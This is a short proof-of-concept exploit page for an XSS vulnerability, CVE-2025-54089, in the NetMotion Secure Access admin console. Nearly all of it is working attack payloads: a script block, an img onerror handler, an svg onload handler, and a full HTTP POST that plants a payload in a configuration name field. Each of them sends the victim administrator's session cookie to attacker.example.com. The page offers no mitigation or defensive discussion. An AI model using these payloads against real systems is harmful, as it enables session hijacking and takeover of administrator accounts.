CVE-2025-54089 NetMotion Secure Access管理控制台XSS漏洞

<!-- CVE-2025-54089 PoC: NetMotion Secure Access Console XSS --> <!-- Attack scenario: An authenticated admin injects malicious script via console input fields --> <!-- Example 1: Malicious payload injected into a configuration field --> <script> // Steal session cookie of the victim administrator var attackerServer = "https://attacker.example.com/collect"; var sessionData = document.cookie; var xhr = new XMLHttpRequest(); xhr.open("GET", attackerServer + "?cookie=" + encodeURIComponent(sessionData), true); xhr.send(); </script> <!-- Example 2: Using img tag for cookie exfiltration (works even when scripts are partially filtered) --> <img src=x onerror="fetch('https://attacker.example.com/log?data='+document.cookie)"> <!-- Example 3: SVG-based XSS payload for bypassing input sanitization --> <svg onload="var i=new Image();i.src='https://attacker.example.com/x?'+document.cookie;"> <!-- Example 4: Full exploitation scenario via HTTP request --> POST /console/api/config HTTP/1.1 Host: netmotion-console.target.com Content-Type: application/json Cookie: session=<attacker_session> { "configName": "<img src=x onerror=\"fetch('https://attacker.example.com/steal?c='+document.cookie)\">", "description": "Legitimate configuration description", "settings": {} } <!-- When victim admin views the configuration list, the payload fires and exfiltrates their session -->